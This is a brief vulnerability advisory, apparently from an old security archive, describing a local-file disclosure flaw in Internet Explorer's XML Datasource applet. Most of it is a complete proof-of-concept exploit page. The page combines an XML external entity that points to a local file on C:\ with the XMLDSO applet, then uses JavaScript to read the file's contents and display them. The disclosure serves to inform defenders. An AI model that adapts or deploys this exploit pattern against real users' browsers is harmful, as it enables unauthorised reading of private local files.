Microsoft Internet Explorer XML Datasource Applet File Disclosure Vulnerability

Microsoft Internet Explorer XML Datasource Applet File Disclosure Vulnerability

The following exploit code was contributed by Jelmer <jelmer@kuperus.xs4all.nl> and will display the contents of the jelmer.txt file in the C:\ folder:

<html>
<head>
<base href="file:///C:/">
</head>
<body>
<applet code="com.ms.xml.dso.XMLDSO.class" width="0" height="0" id="xmldso" MAYSCRIPT="true">
<?xml version="1.0"?>
<!DOCTYPE file [
<!ELEMENT file (#PCDATA) >
<!ENTITY contents SYSTEM "file:///C:/jelmer.txt">
]>
<file>
&contents;
</file>
</applet>
<script language="javascript">
setTimeout("showIt()",2000);
function showIt() {
var jelmer = xmldso.getDocument();
alert(jelmer.Text);
}
</script>
</body>
</html>

A demonstration may be viewed at http://www.xs4all.nl/~jkuperus/msieread.htm.